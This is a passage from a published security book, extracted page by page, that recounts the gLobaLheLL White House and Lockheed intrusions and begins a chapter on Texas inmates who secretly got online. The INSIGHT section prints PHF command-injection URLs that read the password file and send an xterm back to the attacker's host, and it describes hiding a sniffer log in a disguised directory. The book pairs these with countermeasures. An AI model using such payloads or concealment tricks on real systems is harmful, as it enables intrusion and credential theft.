            "text": "about. “So I told him we were right then into the White House Web\nsite,” Zyklon said.\nWithin a couple of hours of that exchange, Zyklon told me, they saw a\nsniffer appear on the site — a system administrator was looking to see\nwhat was going on and trying to track who the people were on the site.\nJust coincidence? Or did he have some reason to be suspicious at that\nparticular moment? It would be months before Zyklon found out the\nanswer. For the moment, as soon as they spotted the sniffer, the boys\npulled the plug, got off the site, and hoped they had caught on to the\nadministrator before he had caught on to them.\nBut they had stirred up the proverbial hornet’s nest. About two weeks\nlater the FBI descended in force, rounding up every gLobaLheLL mem-\nber they had been able to identify. In addition to Zyklon — then 19,\narrested in Washington state — they also grabbed MostHateD (Patrick\nGregory, also 19, from Texas), and MindPhasr (Chad Davis, Wisconsin),\nalong with others. \nne0h was among the few who survived the sweep. From the safety of\nhis remote location, he was incensed, and posted a Web site defacement\npage with a message of defiance; as edited for prime time, it read: “Listen\nup FBI m____ f_____ers. Don’t f___ with our members, you will loose.\nwe are holding fbi.gov as I type this. AND YOUR FEARING. We got\narrested because you dumb idouts cant figure out who hacked the white-\nhoue.. right? so you take us alll in and see if one of them narcs. GOOD\nF___ING LUCK.. WE WONT NARC. Don’t you understand? I SAID\nWORLD DOMINATION.”\nAnd he signed it: “the unmerciful, ne0h.”9\nAftermath\nSo how did that system administrator happen to be sniffing so early in the\nmorning? Zyklon doesn’t have any doubt about the answer. When the\nprosecutors had drawn up the papers in his case, he found a statement that\ninformation leading to knowledge of the gLobaLheLL break-in to the\nWhite House site had been provided by an FBI informant. As he remem-\nbers it, the paper also said that the informant was in New Delhi, India.\nIn Zyklon’s view, there isn’t any doubt. The only person he had told\nabout the White House break-in — the only person — was Khalid\nIbrahim. One plus one equals two: Khalid was an FBI informant.\nBut the mystery remains. Even if Zyklon is correct, is that the whole\nstory? Khalid was an informant, helping the FBI locate kid hackers will-\ning to conduct break-ins to sensitive sites? Or is there another possible\nexplanation: that his role as an informant was only half the story, and he\nwas in fact also the Pakistani terrorist that the Indian general believed he\nChapter 2\nWhen Terrorists Come Calling\n39\n"
        },
        {
            "page_number": 61,
            "text": "was. A man playing a double role, helping the cause of the Taliban while\nhe infiltrated the FBI.\nCertainly his fears about one of the kids reporting him to the FBI fit\nthis version of the story.\nOnly a few people know the truth. The question is, are the FBI agents\nand federal prosecutors who were involved among those who know the\nreal story. Or were they, too, being duped?\nIn the end, Patrick Gregory and Chad Davis were sentenced to 26\nmonths, and Zyklon Burns got 15 months. All three have finished serv-\ning their time and are out of prison.\nFive Years Later\nThese days hacking is mostly just a memory for Comrade, but his voice\nbecomes more alive when he talks about “the thrill of doing shit you’re not\nsupposed to be doing, going places you’re not supposed to go, hoping to\ncome across something cool.”\nBut it’s time to get a life. He says he’s thinking about college. When\nwe spoke, he was just back from scouting schools in Israel. The language\nwouldn’t be too much of a problem — he learned Hebrew in elementary\nschool and in fact was surprised at how much he remembered. \nHis impressions of the country were mixed. The girls were “really\ngreat” and the Israelis proved very fond of America. “They seem to look\nup to Americans.” For example, he was with some Israelis who were\ndrinking a soft drink he had never heard of called RC Cola; it turned out\nto be an American product. The Israelis explained, “On the commercials,\nthat’s what Americans drink.” He also encountered “some anti-American\nvibes with people that don’t agree with the politics,” but took it in stride:\n“I guess you get that anywhere.”\nHe hated the weather — “cold and rainy” while he was there. And then\nthere was the computer issue. He had bought a laptop and wireless espe-\ncially for the trip, but discovered that “the buildings are build out of this\nhuge thick stone.” His computer could see 5 or 10 networks, but the sig-\nnals were too weak to connect and had to walk 20 minutes to a place\nwhere he could log on. \nSo Comrade is back in Miami. A teenager with a felony on his rap\nsheet, he’s now living on his inheritance, trying to decide about going to\ncollege. He’s 20 years old, and not doing much of anything.\nComrade’s old buddy ne0h works for a major telecom company (a nine-\nto-five job is “no good,” he says), but he’ll shortly be in Los Angeles for\nthree months on a manual labor job he took because the pay is so much\nmore than he’s making right now. Joining mainstream society, he hopes\nThe Art of Intrusion\n40\n"
        },
        {
            "page_number": 62,
            "text": "to put away enough for a down payment on a house in the community\nwhere he currently lives.\nWhen the three-month high-paying drudgery is over, ne0h, too, talks\nabout starting college — but not to study computer science. “Most of\nthe people I’ve ever run into that have computer science degrees know\nshit-all,” he says. Instead, he’d like to major in business and organiza-\ntional management, then get into the computer field on a business level.\nTalking about his old exploits brings up his Kevin fixation again. To\nwhat extent did he imagine himself walking in my shoes? \nDid I want to get caught? I did and I didn’t. Being caught shows\n“I can do it, I did it.” It’s not like I wanted to get caught on pur-\npose. I wanted to get caught so I would fight it, I would be\nreleased, I would be the hacker that got away. I would get out, get\na good sound job with a government agency and I would fit right\nin with the underground. \nHow Great Is the Threat?\nThe combination of determined terrorists and fearless kid hackers could\nbe disastrous for this country. This episode left me wondering how many\nother Khalids are out there recruiting kids (or even unpatriotic adults\nwith hacking skills) and who hunger after money, personal recognition,\nor the satisfaction of successfully achieving difficult tasks. The post-\nKhalid recruiters may be more secretive and not as easy to identify. \nWhen I was in pretrial detention facing hacking-related charges, I was\napproached several times by a Columbian drug lord. He was facing life in\nfederal prison without the possibility of parole. He offered me a sweet\ndeal: I would be paid $5 million dollars in cash for hacking into\n“Sentry” — the Federal Bureau of Prisons computer system — and\nreleasing him from custody. This guy was the real thing and deadly seri-\nous. I didn’t accept his offer, but I gave the impression I would help him\nout to avoid any confrontation. I wonder what ne0h would have done in\na similar situation. \nOur enemies may well be training their soldiers in the art of cyber war-\nfare to attack our infrastructure and defend their own. It seems like a no-\nbrainer that these groups would also recruit knowledgeable hackers from\nanywhere in the world for training and for mission-critical projects. \nIn 1997 and again in 2003, the Department of Defense launched\nOperation Eligible Receiver — an effort to test the vulnerability of this\nnation to electronic attack. According to an account published in the\nWashington Times10 about the earlier of these efforts, “Senior Pentagon\nleaders were stunned by a military exercise showing how easy it is for\nChapter 2\nWhen Terrorists Come Calling\n41\n"
        },
        {
            "page_number": 63,
            "text": "hackers to cripple U.S. military and civilian computer networks.” The\narticle goes on to explain that the National Security Agency assembled a\ngroup of its computer specialists as a “red team” of hackers, allowed to\nuse only off-the-shelf computer equipment available to the public, along\nwith any hacking tools, including exploit code, they could download\nfrom the Internet or electronic bulletin boards.\nIn a few days the red team hackers infiltrated the computer systems\ncontrolling parts of the nation’s electric power grid and with a series of\ncommands could have turned sections of the country dark. “If the exer-\ncise had been real,” the Christian Science Monitor reported, “they could\nhave disrupted the Department of Defense’s communication systems\n(taking out most of the Pacific Command) and gained access to com-\nputer systems aboard U.S. Navy vessels.”11\nIn my own personal experience, I was able to defeat security mechanisms\nused by a number of Baby Bells to control access to telephone switches. A\ndecade ago, I had complete control over most switches managed by\nPacific Bell, Sprint, GTE, and others. Imagine the chaos that a resource-\nful terrorist group could have wreaked with the same level of access.\nMembers of Al Qaeda and other terrorist groups have a record of using\ncomputer networks in planning terrorist acts. Evidence suggests that ter-\nrorists made some use of the Internet in planning their operations for the\n9/11 attacks. \nIf Khalid Ibrahim was successful in getting information through any of\nthe young hackers, no one is acknowledging it. If he was really connected\nwith the attacks on the World Trade Center and the Pentagon, definitive\nproof is missing. Yet no one knows when he or one of his kind will reap-\npear on the cyberspace scene, trolling for naive helpers who get a thrill\nout of “doing shit you’re not supposed to be doing, going places you’re\nnot supposed to go.” Kids who might think that the challenge they’re\nbeing offered is “cool.”\nFor young hackers, weak security remains a continuing invitation. Yet\nthe hackers in this story should have recognized the danger in a foreign\nnational recruiting them to compromise sensitive U.S. computer net-\nworks. I have to wonder how many other ne0hs have been recruited by\nour enemies. \nGood security was never more important than in a world populated by\nterrorists.\nINSIGHT\nne0h provided us with details on how he hacked into the Lockheed\nMartin computer systems. The story is a testimony both to the innovation\nThe Art of Intrusion\n42\n"
        },
        {
            "page_number": 64,
            "text": "of hackers (“If there’s a flaw in the security, we’ll find it” might be the\nhacker motto) and a cautionary tale for every organization.\nHe quickly determined that Lockheed Martin was running its own\nDomain Name Servers. DNS, of course, is the Internet protocol that, for\nexample, translates (“resolves”) www.disney.com into 198.187.189.55, an\naddress that can be used to route message packets. ne0h knew that a secu-\nrity research group in Poland had published what hackers call an exploit —\na program specifically design to attack one particular vulnerability — to\ntake advantage of a weakness in the version of the DNS that Lockheed was\nrunning.\nThe company was using an implementation of the DNS protocols\ncalled BIND (Berkeley Internet Name Domain). The Polish group had\nfound that one version of BIND was susceptible to a type of attack\ninvolving a remote buffer overflow, and that version was the one being\nused at Lockheed Martin. Following the method he had discovered\nonline, ne0h was able to gain root (administrative) privileges on both the\nprimary and secondary Lockheed DNS servers.\nAfter gaining root, ne0h set out to intercept passwords and e-mail by\ninstalling a sniffer program, which acts like a computer wiretap. Any traf-\nfic being sent over the wire is covertly captured; the hacker usually sends\nthe data to be stored in a place where it will be unlikely to be noticed. To\nhide the sniffer log, ne0h says, he created a directory with a name that\nwas simply a space, represented by three dots; the actual path he used was\n“/var/adm/ ...” Upon a brief inspection, a system administrator might\noverlook this innocuous item. \nThis technique of hiding the sniffer program, while effective in many\nsituations, is quite simple; much more sophisticated methods exist for\ncovering a hacker’s tracks in a situation like this.\nBefore ever finding out if he would be able to penetrate further into the\nLockheed Martin network to obtain company confidential information,\nne0h was diverted to another task. Lockheed Martin’s sensitive files\nremained safe.\nFor the White House hack, Zyklon says he initially ran a program called\na CGI (common gateway interface) scanner, which scans the target sys-\ntem for CGI vulnerabilities. He discovered the Web site was susceptible\nto attack using the PHF exploit, which takes advantage of a programmer\nerror made by the developer of the PHF (phone book) script. \nPHF is a form-based interface that accepts a name as input and looks up\nthe name and address information on the server. The script called a func-\ntion escape_shell_cmd(), which was supposed to sanitize the input for any\nspecial characters. But the programmer had left one character off his list,\nthe newline character. A knowledgeable attacker could take advantage of\nChapter 2\nWhen Terrorists Come Calling\n43\n"
        },
        {
            "page_number": 65,
            "text": "this oversight by providing input into the form that included the encoded\nversion (0x0a) of the newline character. Sending a string with this char-\nacter tricks the script into executing any command that the attacker\nchooses.\nZyklon typed into his browser the URL:\nhttp://www.whitehouse.gov/cgi-bin/phf?Qalias=x%0a/bin/\ncat%20/etc/passwd\nWith this, he was able to display the password file for whitehouse.gov.\nBut he wanted to gain full control over the White House Web server. He\nknew it was highly likely that the X server ports would be blocked by the\nfirewall, which would prevent him from connecting to any of those serv-\nices on whitehouse.gov. So instead, he again exploited the PHF hole by\nentering\nhttp://www.whitehouse.gov/cgi-bin/phf?Qalias=x%0a/usr/\nX11R6/bin/xterm%20-ut%20-display%20zyklons.ip.address:0.0\nThis caused an xterm to be sent from the White House server to a com-\nputer under his control running an X server. That is, instead of connect-\ning to whitehouse.gov, in effect he was commanding the White House\nsystem to connect to him. (This is only possible when the firewall allows\noutgoing connections, which was apparently the case here.)\nHe then exploited a buffer overflow vulnerability in the system pro-\ngram — ufsrestore. And that, Zyklon says, enabled him to gain root on\nwhitehouse.gov, as well as access to the White House mail server and\nother systems on the network.\nCOUNTERMEASURES\nThe exploits of ne0h and Comrade described here raise two issues for all\ncompanies.\nThe first is simple and familiar: Keep current on all the latest operating\nsystem and application releases from your vendors. It’s essential to exer-\ncise vigilance in keeping up with and installing any security-related\npatches or fixes. To make sure this isn’t done on a hit-or-miss basis, all\ncompanies should develop and implement a patch management program,\nwith the goal of alerting the appropriate personnel whenever a new patch\nis issued on products the company uses — operating system software in\nparticular, but also application software and firmware. \nAnd when a new patch becomes available, it must be installed as soon\nas possible — immediately, unless this would disrupt corporate opera-\ntions; otherwise, at the earliest practical time. It’s not hard to understand\nThe Art of Intrusion\n44\n"
        },
        {
            "page_number": 66,
            "text": "overworked employees who yield to the pressure of focusing on those\nhighly visible projects (installing systems for new workers, to give just one\nexample) and getting around to installing patches on a time-available\nbasis. But if the unpatched device is publicly accessible from the Internet,\nthat creates a very risky situation. \nNumerous systems are compromised because of the lack of patch man-\nagement. Once a vulnerability is publicly disclosed, the window of expo-\nsure is significantly increased until the vendor has released a patch that\nfixes the problem, and customers have installed it. \nYour organization needs to make the installing of patches a high-priority\nitem, with a formal patch management process that reduces the window of\nexposure as quickly as possible subject to the demands of not interfering\nwith critical business operations.\nBut even being vigilant about installing patches isn’t enough. ne0h says\nthat some of the break-ins in which he participated were accomplished\nthrough the use of “zero-day” exploits — a break-in based on a vulnera-\nbility that is not known to others outside a very small group of hacker bud-\ndies. “Zero day” is the day they first exploit the vulnerability, and hence the\nday the vendor and the security community first become aware of it. \nBecause there is always a potential to be compromised by a zero-day\nexploit, every organization using the flawed product is vulnerable until a\npatch or workaround is released. So how do you mitigate the risk of this\nexposure? \nI believe the only viable solution lies in using a defense in depth model.\nWe must assume that our publicly accessible computer systems will be\nvulnerable to a zero-day attack at some point in time. Thus, we should\ncreate an environment that minimizes the potential damage a bad guy\ncan do. One example, as mentioned earlier, is to place publicly accessible\nsystems on the DMZ of the company firewall. The term DMZ, borrowed\nfrom the military/political abbreviation for demilitarized zone, refers to\nsetting up network architecture so that systems the public has access to\n(Web servers, mail servers, DNS servers, and the like) are isolated from\nsensitive systems on the corporate network. Deploying a network archi-\ntecture that protects the internal network is one example of defense in\ndepth. With this arrangement, even if hackers discover a previously\nunknown vulnerability and a Web server or mail server is compromised,\nthe corporate systems on the internal network are still protected by\nanother layer of security.\nCompanies can mount another effective countermeasure by monitor-\ning the network or individual hosts for activity that appears unusual or\nsuspicious. An attacker usually performs certain actions once he or she\nhas successfully compromised a system, such as attempting to obtain\nChapter 2\nWhen Terrorists Come Calling\n45\n"
        },
        {
            "page_number": 67,
            "text": "encrypted or plaintext passwords, installing a back door, modifying con-\nfiguration files to weaken security, or modifying system, application, or\nlog files, among other efforts. Having a process in place that monitors for\nthese types of typical hacker behavior and alerts the appropriate staff to\nthese events can help with damage control.\nOn a separate topic, I’ve been interviewed countless times by the press\nabout the best ways to protect your business and your personal computer\nresources in today’s hostile environment. One of my basic recommenda-\ntions is to use a stronger form of authentication than static passwords.\nYou will never know, except perhaps after the fact, when someone else has\nfound out your password. \nA number of second-level sign-on techniques are available to be used\nin combination with a traditional password, to provide much greater\nsecurity. In addition to RSA’s SecureID, mentioned earlier, SafeWord\nPremierAccess offers passcode-generating tokens, digital certificates,\nsmart cards, biometrics, and other techniques.\nThe trade-offs of using these types of authentication controls are the\nadded cost and the extra layer of inconvenience for every user. It all\ndepends on what you’re trying to protect. Static passwords may be suffi-\ncient for the LA Times Web site to protect its news articles. But would\nyou count on static passwords protecting the latest design specs for a new\ncommercial jetliner?\nTHE BOTTOM LINE\nThe stories in this book, as well as in the press, demonstrate the insecu-\nrity of this nation’s computer systems and how vulnerable we are to an\nattack. It seems as if few systems are truly secure.\nIn this age of terrorism, we clearly need to be doing a better job of\nstitching up the holes. Episodes like the one recounted here raise an issue\nwe need to face: how easily the talents and knowledge of our own unwit-\nting teenagers can be turned against us to endanger our society. I believe\nthat school kids should be taught the principles of computer ethics start-\ning when they are being introduced to computing in elementary school. \nRecently I attended a presentation given by Frank Abagnale, the pro-\ntagonist in the blockbuster film Catch Me If You Can. Frank had con-\nducted a survey of high school students across the country about the\nethical use of computers. Each student was asked whether he or she con-\nsidered it acceptable behavior to crack the password of a fellow student.\nSurprisingly, 48 percent of the surveyed students thought it was just fine.\nWith attitudes like this, it’s not hard to understand why people become\ninvolved in this type of activity.\nThe Art of Intrusion\n46\n"
        },
        {
            "page_number": 68,
            "text": "If anyone has a suggestion of how to make young hackers less suscep-\ntible to being recruited by our enemies, foreign and domestic, I wish he\nor she would speak up and make his or her ideas known.\nNOTES\n1. “Do Terrorists Troll the Net?” by Niall McKay, Wired.com, November 14, 1998.\n2. McKay article, op. cit.\n3. McKay article, op. cit.\n4. From the Web site satp.org, South Asia Intelligence Review.\n5. “The United States and the Global Coalition Against Terrorism, September–December 2001: A\nChronology,” www.state.gov/r/pa/ho/pubs/fs/5889.htm.\n6. Address by Major General Yashwant Deva, Avsm (Retd), President Iete, on “Information\nSecurity” at India International Centre, New Delhi on April 6, 2002, p. 9.\n7. Confirming this is difficult. Since this attack took place during the Clinton administration, none\nof the people listed would be working in the White House any longer. But a few tidbits are avail-\nable. Monty Haymes did video recording. Christopher Adams is the name of a reporter with the\nFinancial Times, a British newspaper; as far as we could ascertain, there was no White House\nemployee by this name. Debra Reid is a photographer for the Associated Press. No one named\nConnie Colabatistto appears to have been working in the White House; a woman by that name is\n(or was) married to Gene Colabatistto, who was president of Solutions at the Space Imaging com-\npany, but there is no apparent connection to them being on the White House team.\n8. http://www.attrition.org/mirror/attrition/1999/05/10/www.whitehouse.gov/mirror.html.\n9. Here, too, verification is difficult to come by. However, the text quoted can be viewed at\nhttp://www.attrition.org/mirror/attrition/1999/05/26/mmic.snu.ac.kr/.\n10. “Computer Hackers Could Disable Military; System Compromised in Secret Exercise,” by Bill\nGertz, Washington Times, April 16, 1998.\n11. “Wars of the Future... Today,” by Tom Regan, Christian Science Monitor, June 24, 1999.\nChapter 2\nWhen Terrorists Come Calling\n47\n"
        },
        {
            "page_number": 69,
            "text": ""
        },
        {
            "page_number": 70,
            "text": "49\nChapter 3\nThe Texas Prison Hack\nI don’t think there’s any one thing you can say to a youngster to make them\nchange, other than to have value in themselves, you know, and never take\nthe short road.\n— William\nT\nwo young convicts, each doing extended time for murder, meet\non a blazing day in the concrete yard of a Texas prison and dis-\ncover they share a fascination with computers. They team up\nand become secret hackers right under the noses of watchful guards. \nAll that is in the past. These days, William Butler gets into his car at\n5:30 every weekday morning and begins the commute to work through\nclogged Houston traffic. He considers himself a very lucky man even to\nbe alive. He’s got a steady girlfriend; he drives a shiny new car. And, he\nadds, “I was recently rewarded with a $7,000 raise. Not bad.”\nLike William, his friend Danny is also settled in life and holding down\na steady job doing computer work. But neither will ever forget the long,\nslow years paying a hard price for their actions. Strangely, the time in\nprison equipped them with the skills they’re now making such good use\nof in “the free world.”\nInside: Discovering Computers\nPrison is a shock to the newcomer. Arriving inmates are often dumped\ntogether until the unruly and violent can be sorted out — a severe chal-\nlenge to those trying to live by the rules. Surrounded by people who\n"
        },
        {
            "page_number": 71,
            "text": "might explode at any imagined challenge, even the meek have to hang\ntough and stand up for themselves. William devised his own set of rules:\nI basically lived how you had to live in there. I’m just 5’10” and\nI was probably 255. But it wasn’t just about being big, it’s a\nmindset that I was not a weak person and I was nobody to be\ntaken advantage of. I carried myself like that. Inside, if anybody\nperceives any weakness, then they take advantage of it. I didn’t\nlie, I didn’t chat about other people’s business, and don’t ask me\nabout my business because I’ll tell you to get f___ed.\nDanny and I both did time on tough units. You know what I’m\nsaying — gladiator units, where you had to fight all the time. So\nwe didn’t give a shit about guards or nobody. We would fight at\nthe drop of a hat or do whatever we had to do.\nDanny was already serving a 20-year sentence at the Wynne Unit, a\nprison in Huntsville, Texas, when William arrived. His initial prison job\nhad nothing to do with computers.\nThey first sent me to a unit where you start you doing field work\non the farms. You go hoeing up and down rows. They could use\nmachines for that, but they don’t — it’s a form of punishment so\nyou feel better about whatever job they give you later.\nWhen Danny was transferred to the Wynne unit, he was grateful to be\nassigned clerical work in the Transportation Office. “I started to work on\nan Olivetti typewriter with a monitor and a couple of disk drives. It ran\nDOS and had a little memory. I messed around trying to learn how to\nuse it.” (For me, that rang familiar bells: The first computer I ever used\nwas an Olivetti teletype with a 110-baud acoustic-coupler modem.)\nHe found an old computer book lying around, an instruction manual for\nthe early database program dBase III. “I figured out how to put the reports\non dBase, while everybody else was still typing theirs.” He converted the\noffice purchase orders to dBase and even started a program to track the\nprison’s shipments of farm products to other prisons around the state.\nEventually Danny made trustee status, which brought a work assign-\nment involving a higher level of trust and what’s referred to as a “gate\npass,” allowing him to work outside the secure perimeter of the prison.\nHe was sent to a job in the dispatch office in a trailer outside the fence,\npreparing shipping orders for the delivery trucks transporting the food\ngoods. But what really mattered was that it gave him “my first real access\nto computers.” \nThe Art of Intrusion\n50\n"
        },
        {
            "page_number": 72,
            "text": "After a while, he was given a small room in the trailer and put in charge\nof hardware — assembling new machines and fixing broken ones. Here\nwas a golden opportunity: learning how to build computers and fix them\nfrom hands-on experience. Some of the people he worked with would\nbring in computer books for him, which accelerated his learning curve. \nBeing in charge of hardware gave him access to “a shelf full of com-\nputer parts with nothing inventoried.” He soon grew reasonably skilled\nat assembling machines or adding components. Prison staff didn’t even\ninspect the systems to determine how he had configured them, so he\ncould easily set up machines with unauthorized equipment.\nFederal Prisons Are Different\nThat kind of careless disregard for what a prisoner is up to is unlikely in a\nfederal prison. The U.S. Bureau of Prisons has a sensibly high level of para-\nnoia about the subject. During my time inside, I had a “NO COMPUTER”\nassignment, which meant it was considered a security threat for me to\nhave any computer access. Or even access to a phone, for that matter: A\nprosecutor once told a federal magistrate that if I was free to use a phone\nwhile in custody, I would be able to whistle into it and send instructions\nto an Air Force intercontinental missile. Absurd, but the judge had no\nreason not to believe it. I was held in solitary for eight months.\nIn the federal system at that time, prisoners were allowed computer\naccess only under a strict set of guidelines. No inmate could use any\ncomputer that was attached to a modem, or that had a network card or\nother communication device. Operationally critical computers and sys-\ntems containing sensitive information were clearly marked “Staff Use\nOnly” so it would be immediately apparent if an inmate was using a com-\nputer that put security at risk. Computer hardware was strictly controlled\nby technology knowledgeable staff to prevent unauthorized use. \nWilliam Gets the Keys to the Castle\nWhen William was transferred from the farm prison to the Wynne unit in\nHuntsville, he landed an enviable job in the kitchen. “I had the keys to\nthe castle because I could trade food for other things.” \nThe kitchen had one computer, an ancient 286 machine with a cooling\nfan on the front but still good enough for him to make good progress with\ndeveloping his computer skills. He was able to put some of the kitchen\nrecords, reports, and purchase order forms on the computer, which saved\nhours of adding columns of numbers and typing out paperwork. \nAfter William discovered there was another prisoner who shared his\ninterest in computers, Danny was able to help improve the quality of the\nChapter 3\nThe Texas Prison Hack\n51\n"
        },
        {
            "page_number": 73,
            "text": "computer setup in the commissary. He pulled components off the shelf\nin the Agriculture trailer and then recruited the aid of some friends with\nmaintenance assignments, who could go anywhere in the prison. \nThey didn’t answer to anyone. So they sneaked computer parts into\nthe kitchen for us — just put them into a cart and roll it down. \nThen one Christmas Eve, a guard walked onto the unit with a\nbox that basically had parts for a whole computer in it, and a hub\nand other stuff.\nHow did he convince a guard to break the rules so blatantly? “I just did\nwhat they call ‘worked my jelly’ on him — I just talked to him and\nbefriended him.” William’s parents had purchased the computer items at\nhis request, and the guard agreed to bring in the load of items as if they\nwere Christmas presents.\nTo provide work space for his expanding computer installation, William\nappropriated a small storage room attached to the commissary. The room\nwas unventilated but he was sure that wouldn’t be a problem, and it\nwasn’t: “I traded food to get an air conditioner, we knocked a hole in the\nwall and put the air conditioner unit in so we could breath and could\nwork in comfort,” he explained. \n“We built three PCs back there. We took old 286 cases and put\nPentium boards in them. The hard drives wouldn’t fit, so we had to use\ntoilet paper rolls for hard drive holders,” which, while an innovative solu-\ntion, must have been funny to look at.\nWhy three computers? Danny would drop in sometimes, and they’d\neach have a computer to use. And a third guy later started “a law\noffice” — charging inmates for researching their legal issues online and\ndrawing up papers for filing appeals and the like.\nMeanwhile, William’s skills in using a computer to organize the com-\nmissary’s paperwork came to the attention of the captain in charge of\nfood service. He gave William an added assignment: When not busy with\nregular duties, he was to work on setting up computer files for the cap-\ntain’s reports to the warden. \nTo carry out these additional responsibilities, William was allowed to\nwork in the captain’s office, a sweet assignment for a prisoner. But after a\ntime William began to chafe: Those computers in the commissary were by\nnow loaded with music files, games, and videos. In the captain’s office, he\nhad none of these pleasing diversions. Good old American innovation plus\na healthy dose of gutsy fearlessness suggested a way of solving the problem.\nI traded food from the kitchen to get network cable from mainte-\nnance. We had the maintenance clerk order us a 1,000-foot spool\nThe Art of Intrusion\n52\n"
        },
        {
            "page_number": 74,
            "text": "of Cat 5 [Ethernet] cable. We had the guards open up pipe chases\nand ran the cable. I just told them I was doing work for the\nCaptain and they’d open the door.\nIn short order, he had hardwired an Ethernet connection linking up\nthe three computers he now had in the commissary, with the computer\nin the captain’s office. When the captain wasn’t there, William had the\npleasure of playing his computer games, listening to his music, and\nwatching his videos. \nBut he was running a big risk. What if the captain came back unex-\npectedly and discovered him with music playing and a game on the\nscreen, or a girlie movie? It would mean goodbye to the privileged posi-\ntion in the kitchen, the cushy duties in the captain’s office, and the access\nto the computer setup he had so painstakingly assembled.\nMeanwhile, Danny had his own challenges. He was now working in the\nAgriculture Office surrounded by computers, with telephone jacks\neverywhere connecting to the outside world. He was like a kid with his\nnose pressed to the window of the candy store and no money in his\npocket. All those temptations so nearby and no way to enjoy them. \nOne day an officer showed up in Danny’s tiny office. “[He] brought his\nmachine in because he couldn’t get connected to the Internet. I didn’t\nreally know how a modem worked, there was nobody teaching me any-\nthing. But I was able to help him set it up.” In the process of getting the\nmachine online, the officer, on request, gave Danny his username and\npassword; probably he didn’t see any problem about doing this, knowing\nthat inmates weren’t allowed to use any computer with online access. \nDanny realized what the guard was too dense or too technically illiterate\nto figure out: He had given Danny an e-ticket to the Internet. Secretly\nrunning a telephone line behind a rack of cabinets into his work area,\nDanny hooked it up to the internal modem in his computer. With the\nofficer’s login and password that he had memorized, he was golden: He\nhad Internet access. \nOnline in Safety\nFor Danny, achieving an Internet connection opened up a whole new\nworld on his monitor. But just as for William, he ran a huge risk every\ntime he went online.\nI was able to dial out, pick up information about computers and\nall, and ask questions. I was signing on for the officer but the\nwhole time I was afraid it might come to light. I tried to be care-\nful not to stay on so long that I tied up the lines.\nChapter 3\nThe Texas Prison Hack\n53\n"
        },
        {
            "page_number": 75,
            "text": "A clever workaround suggested itself. Danny installed a “splitter” on\nthe phone line going to the fax machine. But it wasn’t long before the\nAg unit began to hear complaints from other prisons wanting to know\nwhy their fax line was busy so much of the time. Danny realized he’d\nhave to get a dedicated line if he wanted to cruise the Net at leisure and\nin safety. A little scouting provided the answer: He discovered two tele-\nphone jacks that were live but not in use. Apparently none of the staff\nremembered they even existed. He reconnected the wire from his\nmodem, plugging it into one of the jacks. Now he had his own outside\nline. Another problem solved.\nIn a corner of his tiny room, under a pile of boxes, he set up a com-\nputer as a server — in effect, an electronic storage device for all the great\nstuff he planned to download, so the music files and computer hacking\ninstructions and all the rest wouldn’t be on his own computer, just in case\nanybody looked. \nThings were shaping up, but Danny was plagued by one other diffi-\nculty, a considerably bigger one. He had no way of knowing what would\nhappen if he and the officer tried to use the officer’s Internet account at\nthe same time. If Danny was already connected, would the officer get an\nerror message saying that he couldn’t get online because his account was\nalready in use? The man might have been a dense redneck, but surely at\nthat point he would remember giving Danny his sign-on information and\nbegin to wonder. At the time, Danny couldn’t think of a solution; the\nproblem gnawed at him.\nStill, he was proud of what he’d accomplished given the circumstances.\nIt had taken an enormous amount of work. “I had built up a good foun-\ndation — running servers, downloading anything I could get off the\nweb, running ‘GetRight’ [software] that would keep a download going\ntwenty-four hours. Games, videos, hacking information, learning how\nnetworks are set up, vulnerabilities, how to find open ports.”\nWilliam understood how Danny’s setup in the Agriculture Department\nhad been possible. “He was basically the network administrator because\nthe free-world guy [the civilian employee] they had working there was a\nbuffoon.” The inmates were being assigned jobs that the employee was\nsupposed to be doing but didn’t know how, things like “the C++ and\nVisual Basic programming,” nor did they have the smarts necessary to\nproperly administer the network. \nAnother challenge also troubled Danny: His computer faced an aisle,\nso anybody could see what he was doing. Since the Agriculture Office\nwas locked up after working hours, he could only go online during the\nday, watching for moments when everyone else in the office seemed to\nbe too busy with their own work to take any interest in what he was up\nto. Picking up a clever trick that would allow him to take control of\nThe Art of Intrusion\n54\n"
        },
        {
            "page_number": 76,
            "text": "another computer, he connected his machine to the one used by a civilian\nemployee who worked opposite him. When the man wasn’t there and it\nlooked like maybe no one would be drifting into the back room for a while,\nDanny would commandeer the other computer, put it online, and set it to\ndownload some game or music he wanted to the server in the corner.\nOne day when he was in the middle of getting online for a download,\nsomebody showed up unexpectedly in Danny’s work area: a female\nguard — always much more hard-nosed and by-the-rules than the men,\nDanny and William agree. Before he could release his control of the other\nmachine, the guard’s eyes widened: She had noticed the cursor moving!\nDanny managed to quit his operation. The guard blinked, probably fig-\nuring she must have imagined it, and walked out.\nSolution\nWilliam still vividly remembers the day when the solution to both of their\nInternet access problems occurred to Danny. The kitchen crew was allowed\nto take their meals in the officer’s dining room after the officers had finished\nand cleared out. William would often sneak Danny in to eat the “much bet-\nter food” in the dining room with him, and they could also talk privately\nthere. “I can still remember the day I got him up there,” William related.\n“He said, ‘I know how we can do it, B.’ That’s what they called me — B,\nor Big B. And with it he explained to me what we were gonna do.”\nWhat Danny envisioned was putting together two pieces of a puzzle;\nthe telephone lines to the outside world, available to him in the\nAgriculture Department, and William’s computers in the kitchen. He\nproposed a way that would let the two of them use computers and get\nonto the Internet whenever they wanted, in freedom and safety.\nWe always sat in the back of the commissary playing games on the\ncomputers. And I thought, “If we could sit down here and play\ngames, and nobody cares — the guards don’t care as long as we\nget our work done — then why can’t we access the Internet from\nright here?”\nThe Agriculture Office had computer equipment that was more up-\nto-date because, as Danny explained, other prisons around the state\n“razzed” to their server. His term “razzed” was a way of saying that com-\nputers at the other prisons were connecting by dial-up to the Agriculture\nOffice server, which was configured to allow dial-up connections through\nMicrosoft’s RAS (Remote Access Services).\nA key make-or-break element confronted the guys: modems. “Getting\nhold of modems was a major deal,” William said. “They kept those pretty\nChapter 3\nThe Texas Prison Hack\n55\n"
        },
        {
            "page_number": 77,
